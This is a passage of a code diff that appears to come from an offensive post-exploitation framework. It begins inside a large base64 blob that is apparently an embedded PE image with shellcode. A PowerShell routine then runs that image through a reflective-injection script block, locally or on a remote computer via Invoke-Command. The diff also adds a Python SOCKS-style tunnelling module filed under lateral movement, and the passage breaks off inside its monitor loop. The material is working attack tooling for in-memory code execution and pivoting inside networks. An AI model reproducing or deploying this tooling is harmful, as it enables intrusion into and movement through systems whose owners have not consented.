JgwnDCgMKQwqDCsMLAwtDC4MLwwwDDEMMgwzDDQMNQw2DDcMOAw5DDoMOww8DD0MPgw/DAAMQQxCDEMMRAxFDEYMRwxIDEkMSgxLDEwMTQxODE8MUAxRDFIMUwxUDFUMVgxXDFgMWQxaDFsMXAxdDF4MXwxgDGEMYgxjDGQMZQxmDGcMaAxpDGoMawxsDG0MbgxvDHAMcQxyDHMMdAx1DHYMdwx4DHkMegx7DHwMfQx+DH8MQAyBDIIMgwyEDIUMhgyHDIgMiQyKDIsMjAyNDI4MjwyQDJEMkgyTDJQMlQyWDJcMmAyZDJoMmwycDJ0MngyfDKAMoQyiDKMMpAylDL8MgAzBDMIMwwzEDMUMxgzHDMwMzQzODNMM1AzVDNYM1wzYDNkM2gzbDMEOAw4FDgcOCQ4LDg0ODw4RDhMOFQ4XDhkOGw4dDh8OIQ4jDiUOJw4pDisOLQ4vDjEOMw41DjcOOQ47Dj0OPw4BDkMORQ5HDkkOSw5NDk8OUQ5TDlUOVw5ZDlsOXQ5fDmEOYw5lDmcOaQ5rDm0Obw5xDnMOdQ53DnkOew59Dn8OQQ6DDoUOhw6JDosOjQ6PDpEOkw6XDpkOmw6dDp8OoQ6jDqUOpw6pDqsOrQ6vDrEOsw61DrcOuQ67Dr0Ovw6BDsMOxQ7HDskOyw7NDs8O0Q7TDtUO1w7ZDtsO3Q7fDuEO4w7lDucO6Q7rDu0O7w7xDvMO9Q73DvkO+w79Dv8OwQ8DDwUPBw8JDwsPDQ8PDxEPEw8VDxcPGQ8bDx0PHw8hDyMPJQ8nDykPKw8tDy8PMQ8ABAEAEwAAADMMPgw/DBcMWAxZDF8MYAxhDGIMZw1pDWsNbQ1vDXENcw11DXcNeQ17DX0Nfw1BDYMNhQ2HDYkNiw2NDY8NkQ2TDYAAAAgBADUAAAAPDFAMUQxSDHoNOw0DD0UPRw9JD0sPTQ9PD1EPUw9VD1cPWQ9bD10PXw9hD2MPZQ9nD2kPaw9tD28PcQ9zD3UPdw95D3sPfQ9/D0EPgw+FD4cPiQ+LD40Pjw+RD5MPlQ+XD5kPmw+dD58PoQ+jD6UPpw+pD6sPrQ+vD7EPsw+1D7cPuQ+7D70Pvw+BD8MPxQ/HD8kPyw/ND88P0Q/TD9UP1w/ZD9sP3Q/fD+EP4w/lD+cP6Q/rD+0P7w/xD/MP9Q/3D/kP+w/9D/8PwAAADAEANwCAAAEMAwwFDAcMCQwLDA0MDwwRDBMMFQwXDBkMGwwdDB8MIQwjDCUMJwwpDCsMLQwvDDEMMww1DDcMOQw7DD0MPwwBDEMMRQxHDEkMSwxNDE8MUQxTDFUMVwxZDFsMXQxfDGEMYwxlDGcMaQxrDG0MbwxxDHMMdQx3DHkMewx9DH8MQQyDDIUMhwyJDIsMjQyPDJEMkwyVDJcMmQybDJ0MnwyhDKMMpQynDKkMqwytDK8MsQyzDLUMtwy5DLsMvQy/DIEMwwzFDMcMyQzLDM0MzwzRDNMM1QzXDNkM2wzdDN8M4QzjDOUM5wzpDOsM7QzvDPEM8wz1DPcM+Qz7DP0M/wzBDQMNBQ0HDQkNCg0MDQ4NEA0SDRQNFg0YDRoNHA0eDSANIg0kDSYNKA0qDSwNLg0wDTINNA02DTgNOg08DT4NAA1CDUQNRg1IDUoNTA1ODVANUg1UDVYNWA1aDVwNXg1gDWINZA1mDWgNag1sDW4NcA1yDXQNdg14DXoNfA1+DUANgg2EDYYNiA2KDYwNjg2QDZINlA2WDZgNmg2cDZ4NoA2iDaQNpg2oDaoNrA2uDbANsg20DbYNuA26DbwNvg2ADcINxA3GDcgNyg3MDc4N0A3SDdQN1g3YDdoN3A3eDeAN4g3kDeYN6A3qDewN7g3wDfIN9A32DfgN+g38Df4NwA4CDgQOBg4IDgoODA4ODhAOEg4UDhYOGA4aDhwOHg4gDiIOJA4mDigOKg4sDi4OMA4yDjQONg44DjoOPA4+DgAOQg5EDkYOSA5KDkwOTg5QDlIOVA5WDlgOWg5cDl4OYA5iDmQOZg5oDmoObA5uDnAOcg50DnYOeA56DnwOfg5ADoIOhA6GDogOig6MDo4OkA6SDpQOlg6YDpoOnA6eDqAOog6kDqYOqA6qDqwOrg6wDrIOtA62DrgOug68Dr4OgA7CDsQOxg7IDsoOzA7ODtAOwAAAEAEAKQAAADIPsw+0D7UPtg+3D7gPuQ+6D7sPvA+9D74Pvw+AD8EPwg/DD8QPxQ/GD8cPyA/JD8oPyw/MD80Pzg/PD9AP0Q/SD9MP1A/VD9YP1w/YD9kP2g/bD9wP3Q/eD98P4A/hD+IP4w/kD+UP5g/nD+gP6Q/qD+sP7A/tD+4P7w/wD/EP8g/zD/QP9Q/2D/cP+A/5D/oP+w/8D/0P/g//D8AUAQAwAEAAAAwBDAIMAwwEDAUMBgwHDAgMCQwKDAsMDAwNDA4MDwwQDBEMEgwTDBQMIQ2iDacNqA2sDa0Nrg2wDbYNtw29DYENwg3HDcgNzA3NDc4N0A3WDdoN2w3fDeAN5A3lDeYN6A3uDfIN8w33DfgN+Q37DcEOBQ4GDgoOCw4MDg4OFA4YDhkOHQ4eDh8OIQ4nDisOLA4wDjEOMw45Dj0OPg4CDkMORA5GDkwOUA5RDlUOVg5YDl4OYg5jDmcOaA5qDnAOdA51DnkOeg57Dn0OQw6HDogOjA6NDo4OkA6WDpoOmw6fDqAOog6oDqwOrQ6xDrIOsw61DrsOvw6ADsQOxQ7GDscOyQ7PDtMO1A7YDtkO2g7bDt0O4w7nDugO7A7tDu8O9Q75DvoO/g7/DsEPBw8LDwwPEA8RDxMPGQ8dDx4PIg8jDyQPJg8sDzAPMQ81DzYPOA8+Dz8PBQ9JD0oPTw9QD1QPVQ9WD1gPXg9iD2MPZw9oD2kPaw9xD3UPdg96D3sPfA99D38PRQ+JD4oPjg+PD5APkQ+TD5kPnQ+eD6IPow+lD6sPrw+wD7QPtQ+5D7oPuw+9D4MPwAAAGAEAPQBAAAEMAwwGDA8MEAwSDBUMHQwgDCgMKwwzDDYMPgwADEMMTQxPDFEMWgxcDF4MZgxuDHAMcgx0DHYMeAx6DHwMfgxADIIMhQyODJYMmAyaDJwMngygDKMMqwytDLAMuAy7DIMMxQzIDNIM1wzaDNwM5AzmDOgM6gzsDPAM8wz7DP4Mxg0IDQsNFA0cDR4NIA0iDSQNJg0oDSoNLA0uDTANMw09DQENTA1ODVcNXA1eDWENaQ1rDW4Ndg14DXsNQw2GDZANlQ2YDZoNog2kDaYNrA21DbgNug2ADcMNyw3NDdAN2A3aDd0N5Q3nDeoN8w37Df0N/w3BDgMOBw4QDhMOFQ4dDiYOKQ4rDjIOOg48Dj4OAA5CDkQORw5PDlEOUw5VDlcOWQ5bDl0OXw5iDmoObA5uDnAOcw57Dn0OQA6IDooOjQ6VDpgOoA6iDqUOrQ6vDrIOug69DoUOyA7SDtsO3g7gDuYO6Q7xDvQO/A7+DsAPAw8LDw0PDw8QDxIPFw8ZDx4PIA8lDycPKQ8rDywPLQ8vDzQPNg84DzoPOw88Dz4PAw9KD1IPWg9hD2IPag9tD3QPfA9DD4QPjA+UD5wPpA+nD64PsQ+4D78PgA/HD8gPzw/QD9gP2g/bD+IP5A/lD+sP7A/zD/QP+A/AAAAcAQAQAAAAAQwEDAYMEQwSDBQMFgwYDBkMGwwgDCcMKAwwDDcMOAwADEgMUAxYDGAMaAxwDHgMQAyIDJAMgAAAJAEAAwAAAAAMAAAAKAEAGgAAABUMVgxaDFsMYAxkDGUMZgxnDGgMaQxqDGsMbAxtDG4Orw6wDrEOsg6zDrQOtQ62DrcOuA65DroOuw68Dr0Ovg6/DoAOwQ7CDsMOxA7FDsYOxw7IDtgO2Q7aDtsOzg+QD4AsAQAUAEAAGw2cDd0N3g3fDeAN4Q3iDeMN5A3lDeYN5w3oDekN6g3rDewN7Q3uDe8N8A3xDfIN8w30DfUN9g33DfgN+Q36DfsN/A39Df4N/w3ADgEOAg4DDgQOBQ4GDgkOCg4LDgwODQ4ODg8OEA4RDhIOEw4UDhUOFg4XDhgOGQ4aDhsOHA4dDh4OHw4gDiEOIg4jDiQOJQ4mDicOKA4pDioOKw4sDi0OLg4vDjAOMQ4yDjMONA41Dj8OAw5HDksOTw5XDloOWw5cDl0OZA5lDmcOaA5pDnkOew59Dn8OQQ6DDoUOhw6JDosOjQ6PDpEOkw6VDpcOmQ6bDp0Onw6hDqMOpQ6nDqkOqw6tDq8OsQ6EDsUOxg7HDsgOyQ7KDssOzA7NDuoPbA9tD24Pbw9wD3EPcg9zD3QPdQ94D3kPeg97D3wPfQ9+D38PQQ+CD4AwAQASAAAACgxSDFkMYAxnDG8Mdgx+DEYMjwyWDKEMqgywDLgMgAzJDNQM3wzqDPAM+AzADQkNDw0WDR0NJQ0tDTUNOw0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD8SInOSInnSIPk8OjIAAAAQVFBUFJRVkgx0mVIi1JgSItSGEiLUiBIi3JQSA+3SkpNMclIMcCsPGF8AiwgQcHJDUEBweLtUkFRSItSIItCPEgB0GaBeBgLAnVyi4CIAAAASIXAdGdIAdBQi0gYRItAIEkB0ONWSP/JQYs0iEgB1k0xyUgxwKxBwckNQQHBOOB18UwDTCQIRTnRddhYRItAJEkB0GZBiwxIRItAHEkB0EGLBIhIAdBBWEFYXllaQVhBWUFaSIPsIEFS/+BYQVlaSIsS6U////9dTTHJQVFIjUYYUP92EP92CEFRQVFJuAEAAAAAAAAASDHSSIsOQbrIOKRA/9VIhcB0DEi4AAAAAAAAAADrCki4AQAAAAAAAABIg8RQSIn8wwAAAAAAAAAAVYnlVleLdQiLTQzoAAAAAFiDwCWD7AiJ4sdCBDMAAACJAugJAAAAg8QUX15dwggAizwk/ypIMcBX/9ZfUMdEJAQjAAAAiTwk/ywkAAAAAAD8i3QkBFWJ5eiJAAAAYInlMdJki1Iwi1IMi1IUi3IoD7dKJjH/McCsPGF8Aiwgwc8NAcfi8FJXi1IQi0I8AdCLQHiFwHRKAdBQi0gYi1ggAdPjPEmLNIsB1jH/McCswc8NAcc44HX0A334O30kdeJYi1gkAdNmiwxLi1gcAdOLBIsB0IlEJCRbW2FZWlH/4FhfWosS64ZbgH4QAHU7xkYQAWimlb2d/9M8BnwaMclki0EYOYioAQAAdQyNk88AAACJkKgBAAAxyVFR/3YI/zZRUWg4aA0W/9PJwgwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPyAeRAAD4UTAQAAxkEQAUiD7HjoyAAAAEFRQVBSUVZIMdJlSItSYEiLUhhIi1IgSItyUEgPt0pKTTHJSDHArDxhfAIsIEHByQ1BAcHi7VJBUUiLUiCLQjxIAdBmgXgYCwJ1couAiAAAAEiFwHRnSAHQUItIGESLQCBJAdDjVkj/yUGLNIhIAdZNMclIMcCsQcHJDUEBwTjgdfFMA0wkCEU50XXYWESLQCRJAdBmQYsMSESLQBxJAdBBiwSISAHQQVhBWF5ZWkFYQVlBWkiD7CBBUv/gWEFZWkiLEulP////XUgx0mVIi0IwSDmQyAIAAHUOSI2VBwEAAEiJkMgCAABMiwFMi0kISDHJSDHSUVFBujhoDRb/1UiBxKgAAADDAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA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eQx6DH0Mfgx/DEQMhQyvDLEMswy1DLcMuQy7DL0MvwyBDMMMxQzHDMkMywzNDM8M0QzTDNUM1wzZDNsMwAAACABAKgAAAAEMQgxDDEQMaA1tD28PcQ9zD3UPdw95D3sPfQ9/D0EPgw+FD4cPiQ+LD40Pjw+RD5MPlQ+XD5kPmw+dD58PoQ+jD6UPpw+pD6sPrQ+vD7EPsw+1D7cPuQ+7D70Pvw+BD8MPxQ/HD8kPyw/ND88P0Q/TD9UP1w/ZD9sP3Q/fD+EP4w/lD+cP6Q/rD+0P7w/xD/MP9Q/3D/kP+w/9D/8PwAAADABAAQDAAAEMAwwFDAcMCQwLDA0MDwwRDBMMFQwXDBkMGwwdDB8MIQwjDCUMJwwpDCsMLQwvDDEMMww1DDcMOQw7DD0MPwwBDEMMRQxHDEkMSwxNDE8MUQxTDFUMVwxZDFsMXQxfDGEMYwxlDGcMaQxrDG0MbwxxDHMMdQx3DHkMewx9DH8MQQyDDIUMhwyJDIsMjQyPDJEMkwyVDJcMmQybDJ0MnwyhDKMMpQynDKkMqwytDK8MsQyzDLUMtwy5DLsMvQy/DIEMwwzFDMcMyQzLDM0MzwzRDNMM1QzXDNkM2wzdDN8M4QzjDOUM5wzpDOsM7QzvDPEM8wz1DPcM+Qz7DP0M/wzBDQMNBQ0HDQkNCw0NDQ8NEQ0TDRUNFw0ZDRsNHQ0fDSENIw0lDScNKQ0rDS0NLw0xDTMNNA02DTgNOg08DT4NAA1CDUQNRg1IDUoNTA1ODVANUg1UDVYNWA1aDVwNXg1gDWINZA1mDWgNag1sDW4NcA1yDXQNdg14DXoNfA1+DUANgg2EDYYNiA2KDYwNjg2QDZINlA2WDZgNmg2cDZ4NoA2iDaQNpg2oDaoNrA2uDbANsg20DbYNuA26DbwNvg2ADcINxA3GDcgNyg3MDc4N0A3SDdQN1g3YDdoN3A3eDeAN4g3kDeYN6A3qDewN7g3wDfIN9A32DfgN+g38Df4NwA4CDgQOBg4IDgoODA4ODhAOEg4UDhYOGA4aDhwOHg4gDiIOJA4mDigOKg4sDi4OMA4yDjQONg44DjoOPA4+DgAOQg5EDkYOSA5KDkwOTg5QDlIOVA5WDlgOWg5cDl4OYA5iDmQOZg5oDmoObA5uDnAOcg50DnYOeA56DnwOfg5ADoIOhA6GDogOig6MDo4OkA6SDpQOlg6YDpoOnA6eDqAOog6kDqYOqA6qDqwOrg6wDrIOtA62DrgOug68Dr4OgA7CDsQOxg7IDsoOzA7ODtAO0g7UDtYO2A7aDtwO3g7gDuIO5A7mDugO6g7sDu4O8A7yDvQO9g74DvoOwBQAQBYAAAAJDIoMmQyaDKEMogyqDLIMuQy6DIIMygzSDNoM3QzkDOwM7wz2DPkMwA0IDRANGA0gDSgNLw0wDTgNPw0ADUgNUA1YDWANaA1wDXcNeA1AAAAYAEAHAEAAAAwCDCQMpQyrDmoOqw6sDq0Org6vDrAOsQ6yDrMOtA61DrYOtw64DrkOug67DrwOvQ6+Dr8OgA7BDsIOww7EDsUOxg7HDsgOyQ7KDssOzA7NDs4Ozw7QDtEO0g7TDtQO1w7YDtkO2g7bDtwO3Q7eDt8O4A7hDuIO4w7kDuUO5g7nDugO6Q7qDusO7A7tDu4O7w7wDvEO8g7zDvQO9Q72DvcO+A75DvoO+w78Dv0O/g7/DsAPAQ8CDwMPDQ8RDxUPGQ8dDyUPKA8pDyoPKw8yDzMPNQ82DzcPOA85DzoPOw88Dz0PPg8AD0QPRg9HD0gPSQ9KD0sPTA9ND04PTw9SD1MPVA9VD1YPVw9YD1kPWw9cD0AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA' #replace32 + + if ($ComputerName -eq $null -or $ComputerName -imatch "^\s*$") + { + Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes64, $PEBytes32, "Void", 0, "", $ExeArgs) + } + else + { + Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($PEBytes64, $PEBytes32, "Void", 0, "", $ExeArgs) -ComputerName $ComputerName + } +} + +Main +} diff --git a/data/module_source/python/lateral_movement/socks_source.py b/data/module_source/python/lateral_movement/socks_source.py new file mode 100644 index 0000000..02c75bd --- /dev/null +++ b/data/module_source/python/lateral_movement/socks_source.py @@ -0,0 +1,437 @@ +#from __future__ import unicode_literals, division + +import select +import socket +import ssl +import struct +import sys +import threading + + +class MessageType(object): + Control = 0 + Data = 1 + OpenChannel = 2 + CloseChannel = 3 + + @classmethod + def validate(cls, arg): + if not isinstance(arg, int) or not MessageType.Control <= arg <= MessageType.CloseChannel: + raise TypeError() + return arg + + +class Message(object): + HDR_STRUCT = b'!BHI' + HDR_SIZE = struct.calcsize(HDR_STRUCT) + + def __init__(self, body, channel_id, msg_type=MessageType.Data): + self.body = body + self._channel_id = channel_id + self.msg_type = msg_type + + @property + def channel_id(self): + return self._channel_id + + @classmethod + def parse_hdr(cls, data): + msg_type, channel_id, length = struct.unpack(cls.HDR_STRUCT, data[:struct.calcsize(cls.HDR_STRUCT)]) + MessageType.validate(msg_type) + return msg_type, channel_id, length + + @classmethod + def parse(cls, data): + if len(data) < cls.HDR_SIZE: + raise ValueError() + msg_type, channel_id, length = cls.parse_hdr(data[:cls.HDR_SIZE]) + data = data[cls.HDR_SIZE:] + if length != len(data): + raise ValueError() + MessageType.validate(msg_type) + return Message(data, channel_id, msg_type=msg_type) + + def serialize(self): + return struct.pack(self.HDR_STRUCT, self.msg_type, self.channel_id, len(self.body)) + self.body + + +class Channel(object): + def __init__(self, channel_id): + self._channel_id = channel_id + self._client_end, self._tunnel_end = socket.socketpair(socket.AF_UNIX, socket.SOCK_STREAM) + self.tx = 0 + self.rx = 0 + + @property + def tunnel_interface(self): + return self._tunnel_end + + @property + def client_interface(self): + return self._client_end + + @property + def channel_id(self): + return self._channel_id + + def fileno(self): + return self._client_end.fileno() + + def close(self): + self._client_end.close() + + def send(self, data, flags=0): + self._client_end.sendall(data, flags) + self.tx += len(data) + + def recv(self, length): + try: + data = self._client_end.recv(length) + except Exception: + data = b'' + else: + self.rx += len(data) + return data + + +class Tunnel(object): + def __init__(self, sock, open_channel_callback=None, close_channel_callback=None): + self.transport = sock + self.transport_lock = threading.Lock() + self.channels = [] + self.closed_channels = {} + + if open_channel_callback is None: + self.open_channel_callback = lambda x: None + else: + self.open_channel_callback = open_channel_callback + + if close_channel_callback is None: + self.close_channel_callback = lambda x: None + else: + self.close_channel_callback = close_channel_callback + + self.monitor_thread = threading.Thread(target=self._monitor) + self.monitor_thread.daemon = True + self.monitor_thread.start() + + def wait(self): + self.monitor_thread.join() + + @property + def channel_id_map(self): + return {x: y for x, y in self.channels} + + @property + def id_channel_map(self): + return {y: x for x, y in self.channels} + + def _close_channel_remote(self, channel_id): + message = Message(b'', channel_id, msg_type=MessageType.CloseChannel) + self.transport_lock.acquire() + self.transport.sendall(message.serialize()) + self.transport_lock.release() + + def close_channel(self, channel_id, close_remote=False, exc=False): + if channel_id in self.closed_channels: + if close_remote: + self._close_channel_remote(channel_id) + return + + if channel_id not in self.id_channel_map: + if exc: + raise ValueError() + else: + return + channel = self.id_channel_map[channel_id] + try: + self.channels.remove((channel, channel_id)) + except ValueError: + return + channel.close() + channel.tunnel_interface.close() + if close_remote: + self._close_channel_remote(channel_id) + self.close_channel_callback(channel) + self.closed_channels[channel_id] = channel + + def close_tunnel(self): + for channel, channel_id in self.channels: + self.close_channel(channel_id, close_remote=True) + self.transport.close() + + def _open_channel_remote(self, channel_id): + message = Message(b'', channel_id, MessageType.OpenChannel) + self.transport_lock.acquire() + self.transport.sendall(message.serialize()) + self.transport_lock.release() + + def open_channel(self, channel_id, open_remote=False, exc=False): + if channel_id in self.id_channel_map: + if exc: + raise ValueError() + else: + return self.id_channel_map[channel_id] + channel = Channel(channel_id) + self.channels.append((channel, channel_id)) + if open_remote: + self._open_channel_remote(channel_id) + self.open_channel_callback(channel) + return channel + + def recv_message(self): + data = b'' + while len(data) < Message.HDR_SIZE: + _data = self.transport.recv(Message.HDR_SIZE - len(data)) + if not _data: + break + data += _data + if len(data) != Message.HDR_SIZE: + raise ValueError() + msg_type, channel_id, length = Message.parse_hdr(data) + + chunks = [] + received = 0 + while received < length: + _data = self.transport.recv(length - received) + if not _data: + break + chunks.append(_data) + received += len(_data) + if received != length: + raise ValueError() + return Message(b''.join(chunks), channel_id, msg_type) + + def _monitor(self): + while True: + ignored_channels = [] + + read_fds = [channel.tunnel_interface for channel, channel_id in self.channels] + [self.transport] + + try: + r, _, _ = select.select(read_fds, [], [], 1) + except Exception: + continue + + if not r: + continue + + if self.transport in r: + try: + message = self.recv_message() + except ValueError: + sys.exit(1) + + if 